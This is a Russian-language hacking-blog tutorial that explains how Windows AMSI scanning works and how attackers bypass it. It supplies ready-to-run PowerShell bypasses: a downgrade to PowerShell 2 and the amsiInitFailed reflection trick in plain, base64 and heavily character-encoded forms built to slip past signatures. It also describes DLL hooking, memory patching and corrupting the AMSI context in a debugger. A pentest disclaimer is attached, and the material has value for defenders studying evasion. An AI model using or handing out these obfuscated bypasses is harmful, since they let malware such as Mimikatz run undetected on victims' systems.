В последней статье посвященной антивирусам, я рассказал как обойти антивирус с помощью Chimera. В этой статье я покажу, как хакеры обходят проверку AMSI защиты.
Еще по теме: Обход антивируса в Meterpreter
Если вы пользователь Windows, тогда вам знакомо сообщение «Данный сценарий содержит вредоносное содержимое и был заблокирован антивирусом» Это блокирующий механизма защиты Windows. Давайте разберемся, как его обходят хакеры.
Статья в образовательных и исследовательских целях и предназначена для пентестеров (белых хакеров). Обход антивирусов и распространение вредоносных программ без письменного разрешения на проведение пентеста, является серьезным преступлением.
AMSI (Anti-Malware Scan Interface) — это технология Microsoft, которую разработали для защиты компьютера от вирусов и другой малвари. Впервые была внедрена в Windows 10. AMSI умеет в реальном времени перехватывать и анализировать скрипты JavaScript, VBScript, VBA и команды PowerShell.
Как это работает AMSI
При запуске скрипта или инициализации процесса PowerShell (или PowerShell_ISE), в процесс автоматически загружается библиотека AMSI.DLL. Она предоставляет нужный API для взаимодействия с антивирусом. Перед выполнением скрипта или команды с помощью RPC подключается Microsoft Defender, он, в свою очередь, изучает полученные данные и отсылает ответ обратно AMSI.DLL. Если была обнаружена известная вредоносная сигнатура, выполнение останавливается и появляется сообщение о блокировке антивирусом.
На схеме выше обозначены две функции — AmsiScanString() и AmsiScanBuffer(), они, в целом, главные в цепочке AmsiInitialize, AmsiOpenSession, AmsiScanString, AmsiScanBuffer и AmsiCloseSession. Если посмотреть Exports для amsi.dll, то можно увидеть это:
Но большая часть данного списка нам сегодня не понадобиться.
Итак, после запуска PowerShell. До того как ввести какие‑нибудь команды, будет загружена AMSI.DLL и произойдет вызов AmsiInitialize().
1 2 3 4 |
HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT *amsiContext ); |
Здесь используются 2 аргумента: имя приложения и указатель на структуру CONTEXT. Параметр amsiContext будет использоваться в каждом последующем вызове AMSI API.
После ввода команды и попытки выполнить скрипт, происходит вызов AmsiOpenSession():
1 2 3 4 |
HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession ); |
В этот момент передаются 2 аргумента: amsiContext, полученный на шаге AmsiInitialize(), и указатель на структуру SESSION. Параметр amsiSession будет использоваться в каждом последующем вызове AMSI API внутри данной сессии.
После чего в дело вступают AmsiScanString() и AmsiScanBuffer(). Вы можете понять по названию, какие именно параметры они передают.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); HRESULT AmsiScanString( HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); |
Defender проверяет буфер или строку и возвращает результат. Если ответ от Defender — 32768, то вредонос обнаружен, единичка сигнализирует, что все чисто.
Ну и после всех выше перечисленных проверок текущая сессия закрывается с используя AmsiCloseSession.
Как обойти AMSI защиту
Механизм AMSI использует сигнатурное (rule-based) детектирование угроз. Зная этот факт, можно придумывать разные тактики и техники. Некоторые известные способы уже не сработают, но, используя модификацию кода, обфускацию и криптование, можно добиться интересных результатов.
Для верификации детекта я буду использовать строки AmsiUtils либо Invoke-Mimikatz. Разумеется, сами по себе эти слова безобидны, но на них срабатывает детект, так как они ловятся сигнатурами. Если уж на AmsiUtils нет детекта, то можно смело грузить, например, PowerView и использовать его возможности по максимуму.
Итак, поехали.
PowerShell downgrade
Первый способ, который иногда срабатывает, тривиален. PowerShell 2.0 устарел, но Microsoft не спешит удалять его из операционной системы. У старой версии PowerShell нет таких защитных механизмов, как AMSI, поэтому для обхода детекта иногда достаточно использовать команду powershell -version 2.
amsiInitFailed
Второй способ предотвратить сканирование — это попытаться выставить флаг amsiInitFailed для данного процесса. Делается это следующей командой:
1 |
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
Однако тут не все так просто: чтобы выполнить эту команду, придется потрудиться, придумывая способы обфускации PowerShell, так как на нее тоже срабатывает детект.
Например, обфусцировать эту команду можно так:
1 2 3 4 |
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static') $field.SetValue($null,$true) |
Во время обфускации можно проявить фантазию. Например, так:
1 |
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) |
Или даже так:
1 |
$kurefii="$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$(('Mànägem'+'ent').NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7)+[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE]0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)).$([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108)+[chAr]([BYte]0x73))";[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]" -as [String].Assembly.GetType($([CHAR](83)+[char](121*78/78)+[ChAr]([ByTe]0x73)+[CHar](22+94)+[CHar](101*28/28)+[char]([BYtE]0x6d)+[CHAr](46)+[ChAr](84)+[cHAr]([ByTE]0x79)+[ChAr](90+22)+[Char](101+30-30)))), [Object]([Ref].Assembly.GetType($kurefii)),($(('Ge'+'tF'+'íe'+'ld').NOrMaliZE([char]([ByTE]0x46)+[cHAR](10+101)+[CHaR](114)+[cHAr](109*93/93)+[CHAr]([BYTe]0x44)) -replace [cHaR](92*52/52)+[CHar]([ByTE]0x70)+[CHAr]([byTe]0x7b)+[Char](38+39)+[cHaR](79+31)+[cHar](125*18/18)))).Invoke($([char](97*42/42)+[cHar](109*37/37)+[cHar]([bYte]0x73)+[Char](105+88-88)+[CHaR]([BYtE]0x49)+[ChAR](110)+[cHAR]([Byte]0x69)+[CHaR](116*14/14)+[cHar]([bYtE]0x46)+[Char](97)+[cHar]([bYTe]0x69)+[CHAR]([ByTE]0x6c)+[CHaR](101*33/33)+[char]([BYTE]0x64)),(("NonPublic,Static") -as [String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d))))).SetValue($null,$True); |
Будет полезно ознакомиться с ресурсом amsi.fail.
Хукинг
Function hooking — метод, позволяющий нам получить управление над функцией до ее вызова. В данном случае полезно будет перезаписать аргументы, которые функция AmsiScanBuffer() (или AmsiScanString()) будет передавать на проверку.
Тут все просто: инжектим DLL, которая поймает AmsiScanBuffer() и передаст на проверку что‑нибудь безобидное. Использовать можно, например, AmsiHook.dll, инжектор можно взять там же.
Патчинг памяти
Использующих данный метод инструментов много, можно выбрать любой рабочий. Принцип одинаков: пропатчить AmsiScanBuffer(), чтобы всегда возвращалось значение «Проверка пройдена успешно». Вот несколько таких средств:
Для примера попробуем выполнить Memory Patching с помощью my-am-bypass.ps1.
Вызов ошибки
Вспоминая описание принципа работы AMSI, можно заметить, что во всех функциях присутствует структура amsiContext. Идея способа — вызвать ошибку в этой структуре и сломать весь цикл проверки. Сложности добавляет тот факт, что Microsoft никак не документирует эту структуру, да и в целом мало и неохотно пишет документацию для AMSI.
Рассмотрим этот способ, используя Frida (чтобы найти адрес) и дебаггер (чтобы посмотреть, что там происходит).
Введем что‑нибудь и посмотрим на вывод «Фриды».
Теперь откроем процесс PowerShell в дебаггере и посмотрим, что же находится по этому адресу. Размера этой структуры мы не знаем, но первые 4 байта — это AMSI.
Исследуя происходящее дальше, замечаем, что регистр rcx (в котором должен лежать первый аргумент функции) сравнивается с нашими четырьмя байтами и, если эти значения не равны, выполняется переход на amsi!AmsiOpenSession+0x4c.
Мы видим, что функция вернет нам то, что лежит в регистре eax. А в документации указано, что возвращается значение с типом HRESULT.
1 2 3 4 |
HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession ); |
На сайте Microsoft мы находим нужную информацию:
1 |
| E_INVALIDARG | One or more arguments are not valid | 0x80070057 | |
Если первые четыре байта структуры контекста не совпадут с AMSI, AmsiOpenSession вернет ошибку. Главный вопрос — к чему приведет эта ошибка и что случится, если байты все‑таки не совпадут.
Единственный способ проверить это — вызвать ошибку и посмотреть, что будет. Для этого поставим точку останова (breakpoint) на AmsiOpenSession, а затем поменяем 4 байта на значение 0000. Убедимся, что в регистре rcx находится значение 49534d41 (dc rcx L1), изменим его на 0 (ed rcx 0), проверим, что выполнение прошло успешно и в регистре rcx сейчас 00000000 (еще раз dc rcx L1).
Теперь, если заглянуть в frida-trace, мы увидим заветное AmsiScanBuffer() Exit. Привела ли эта ошибка к нарушению цикла проверки AMSI? Проверим эту теорию, выполнив что‑то «зловредное».
Данный метод с использованием дебаггера был рассмотрен в качестве теории, в живом кейсе, разумеется, дебаггером никто не пользуется, а реализуется данный метод в несколько строчек в том же PowerShell.
Выводы
Как видно из примеров, обойти защиту AMSI не так уж и сложно. Знание известных методик может облегчить фазу постэксплуатации (или даже фазу эксплуатации).
AMSI может сыграть важную роль в защите систем Windows 10 и Windows Server от компрометации. Но AMSI не панацея. И хотя Microsoft Windows Defender обеспечивает некоторую защиту от обхода AMSI, злоумышленники постоянно находят способы скрыть вредоносный контент от обнаружения.
Еще по теме: Внедрение кода в чужое приложение